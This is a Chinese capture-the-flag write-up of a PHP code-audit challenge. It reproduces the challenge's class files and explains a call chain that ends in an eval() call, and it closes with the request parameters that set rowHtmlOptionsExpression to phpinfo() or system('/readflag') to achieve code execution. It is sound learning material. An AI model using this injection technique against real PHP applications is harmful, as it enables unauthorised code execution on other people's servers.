打开可看到是代码审计,现在的我的水平显然不会做:
所以参考了其他师父的wp;勉勉强强知道点流程,大概就是不断调用各种类中的方法;
首先拿到四个代码,如下:
Base.php
<?php
class Base
{
public function __get($name)
{
$getter = 'get' . $name;
if (method_exists($this, $getter)) {
return $this->$getter();
} else {
throw new Exception("error property {$name}");
}
}
public function __set($name, $value)
{
$setter = 'set' . $name;
if (method_exists($this, $setter)) {
return $this->$setter($value);
} else {
throw new Exception("error property {$name}");
}
}
public function __isset($name)
{
$getter = 'get' . $name;
if (method_exists($this, $getter))
return $this->$getter() !== null;
return false;
}
public function __unset($name)
{
$setter = 'set' . $name;
if (method_exists($this, $setter))
$this->$setter(null);
}
public function evaluateExpression($_expression_,$_data_=array())
{
if(is_string($_expression_))
{
extract($_data_);
return eval('return '.$_expression_.';');
}
else
{
$_data_[]=$this;
return call_user_func_array($_expression_, $_data_);
}
}
}
Filter.php
<?php
class Filter extends Base
{
public $lastModified;
public $lastModifiedExpression;
public $etagSeed;
public $etagSeedExpression;
public $cacheControl='max-age=3600, public';
public function preFilter($filterChain)
{
$lastModified=$this->getLastModifiedValue();
$etag=$this->getEtagValue();
if($etag===false&&$lastModified===false)
return true;
if($etag)
header('ETag: '.$etag);
if(isset($_SERVER['HTTP_IF_MODIFIED_SINCE'])&&isset($_SERVER['HTTP_IF_NONE_MATCH']))
{
if($this->checkLastModified($lastModified)&&$this->checkEtag($etag))
{
$this->send304Header();
$this->sendCacheControlHeader();
return false;
}
}
elseif(isset($_SERVER['HTTP_IF_MODIFIED_SINCE']))
{
if($this->checkLastModified($lastModified))
{
$this->send304Header();
$this->sendCacheControlHeader();
return false;
}
}
elseif(isset($_SERVER['HTTP_IF_NONE_MATCH']))
{
if($this->checkEtag($etag))
{
$this->send304Header();
$this->sendCacheControlHeader();
return false;
}
}
if($lastModified)
header('Last-Modified: '.gmdate('D, d M Y H:i:s', $lastModified).' GMT');
$this->sendCacheControlHeader();
return true;
}
protected function getLastModifiedValue()
{
if($this->lastModifiedExpression)
{
$value=$this->evaluateExpression($this->lastModifiedExpression);
if(is_numeric($value)&&$value==(int)$value)
return $value;
elseif(($lastModified=strtotime($value))===false)
throw new Exception("error");
return $lastModified;
}
if($this->lastModified)
{
if(is_numeric($this->lastModified)&&$this->lastModified==(int)$this->lastModified)
return $this->lastModified;
elseif(($lastModified=strtotime($this->lastModified))===false)
throw new Exception("error");
return $lastModified;
}
return false;
}
protected function getEtagValue()
{
if($this->etagSeedExpression)
return $this->generateEtag($this->evaluateExpression($this->etagSeedExpression));
elseif($this->etagSeed)
return $this->generateEtag($this->etagSeed);
return false;
}
protected function checkEtag($etag)
{
return isset($_SERVER['HTTP_IF_NONE_MATCH'])&&$_SERVER['HTTP_IF_NONE_MATCH']==$etag;
}
protected function checkLastModified($lastModified)
{
return isset($_SERVER['HTTP_IF_MODIFIED_SINCE'])&&@strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE'])>=$lastModified;
}
protected function send304Header()
{
header('HTTP/1.1 304 Not Modified');
}
protected function generateEtag($seed)
{
return '"'.base64_encode(sha1(serialize($seed),true)).'"';
}
}
ListView.php
<?php
abstract class ListView extends Base
{
public $tagName='div';
public $template;
public function run()
{
echo "<".$this->tagName.">\n";
$this->renderContent();
echo "<".$this->tagName.">\n";
}
public function renderContent()
{
ob_start();
echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template);
ob_end_flush();
}
protected function renderSection($matches)
{
$method='render'.$matches[1];
if(method_exists($this,$method))
{
$this->$method();
$html=ob_get_contents();
ob_clean();
return $html;
}
else
return $matches[0];
}
}
TestView.php
<?php
class TestView extends ListView
{
const FILTER_POS_HEADER='header';
const FILTER_POS_BODY='body';
public $columns=array();
public $rowCssClass=array('odd','even');
public $rowCssClassExpression;
public $rowHtmlOptionsExpression;
public $selectableRows=1;
public $data=array();
public $filterSelector='{filter}';
public $filterCssClass='filters';
public $filterPosition='body';
public $filter;
public $hideHeader=false;
public function renderTableHeader()
{
if(!$this->hideHeader)
{
echo "<thead>\n";
if($this->filterPosition===self::FILTER_POS_HEADER)
$this->renderFilter();
if($this->filterPosition===self::FILTER_POS_BODY)
$this->renderFilter();
echo "</thead>\n";
}
elseif($this->filter!==null && ($this->filterPosition===self::FILTER_POS_HEADER || $this->filterPosition===self::FILTER_POS_BODY))
{
echo "<thead>\n";
$this->renderFilter();
echo "</thead>\n";
}
}
public function renderFilter()
{
if($this->filter!==null)
{
echo "<tr class=\"{$this->filterCssClass}\">\n";
echo "</tr>\n";
}
}
public function renderTableRow($row)
{
$htmlOptions=array();
if($this->rowHtmlOptionsExpression!==null)
{
$data=$this->data[$row];
$options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data));
if(is_array($options))
$htmlOptions = $options;
}
if($this->rowCssClassExpression!==null)
{
$data=$this->dataProvider->data[$row];
$class=$this->evaluateExpression($this->rowCssClassExpression,array('row'=>$row,'data'=>$data));
}
elseif(is_array($this->rowCssClass) && ($n=count($this->rowCssClass))>0)
$class=$this->rowCssClass[$row%$n];
if(!empty($class))
{
if(isset($htmlOptions['class']))
$htmlOptions['class'].=' '.$class;
else
$htmlOptions['class']=$class;
}
}
public function renderTableBody()
{
$data=$this->data;
$n=count($data);
echo "<tbody>\n";
if($n>0)
{
for($row=0;$row<$n;++$row)
$this->renderTableRow($row);
}
else
{
echo '<tr><td colspan="'.count($this->columns).'" class="empty">';
echo "</td></tr>\n";
}
echo "</tbody>\n";
}
}
在Base类中evaluateExpression函数存在eval;
再看看其他方法与evaluateExpression函数有关的;在Fileter类中有两个方法可以,
但是这两个是不行的,为什么呢,其他大佬的解释是说:调用这两个方法需要用到base类中的_get方法,但是题目似乎无法触发__get()方法,题目进行的是赋值操作,也就是写,所以最多是调用__set()方法;虽然还是不是很理解,继续懵逼着走吧;
然后就是还有TestView类中的renderTableRow方法:
public function renderTableRow($row)
{
$htmlOptions=array();
if($this->rowHtmlOptionsExpression!==null)
{
$data=$this->data[$row];
$options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data));
if(is_array($options))
$htmlOptions = $options;
}
if($this->rowCssClassExpression!==null)
{
$data=$this->dataProvider->data[$row];
$class=$this->evaluateExpression($this->rowCssClassExpression,array('row'=>$row,'data'=>$data));
}
elseif(is_array($this->rowCssClass) && ($n=count($this->rowCssClass))>0)
$class=$this->rowCssClass[$row%$n];
if(!empty($class))
{
if(isset($htmlOptions['class']))
$htmlOptions['class'].=' '.$class;
else
$htmlOptions['class']=$class;
}
}
到这里我们的最终目的是实现 TestView::renderTableRow() --> TestView::evaluateExpression()
然后前面怎么到TestView::renderTableRow() 呢?
然后看一下题目代码:
public function __construct($action,$properties){
$object=new $action();
foreach($properties as $name=>$value)
$object->$name=$value;
$object->run();
}
大佬说后面的$object->run(),这种情况要么就是调用__call()魔术方法,要么就是看看其它类中的run()函数,看看就知道没有__call()方法,所以我们找run(),可以看到只有ListView类中有run()函数:
public function run()
{
echo "<".$this->tagName.">\n";
$this->renderContent();
echo "<".$this->tagName.">\n";
}
这里面有renderContent(),更进:
public function renderContent()
{
ob_start();
echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template);
ob_end_flush();
}
有正则匹配,又用到renderSection,继续更进:
protected function renderSection($matches)
{
$method='render'.$matches[1];
if(method_exists($this,$method))
{
$this->$method();
$html=ob_get_contents();
ob_clean();
return $html;
}
else
return $matches[0];
}
这里调用链很清晰,通过ListView::run->ListView::renderContent->ListView::renderSection
我们可以调用TestView类的任意方法,需要注意的是由于正则匹配的模式,我们需要令$this->template = "{TableBody}"
才能正确执行; 为什么是TableBody呢?因为renderTableBody方法可以到 renderTableRow()
但是需要对data赋值;
所以总结下来就是调用链就是:
TestView::run() --> TestView::renderContent() --> TestView::renderSection() --> TestView::renderTableBody() --> TestView::renderTableRow() --> TestView::evaluateExpression()
思路清晰啦,最后要做的就是把传入的参数设置好,如:template与正则匹配正确要记得加大括号,data数据要赋值;
最后:
GET:
?action=TestView
POST:
properties[template]={TableBody} &properties[data]=2&properties[rowHtmlOptionsExpression]=phpinfo(); //phpinfo()是一个执行语句;为
var_dump(system('/readflag'));
参考: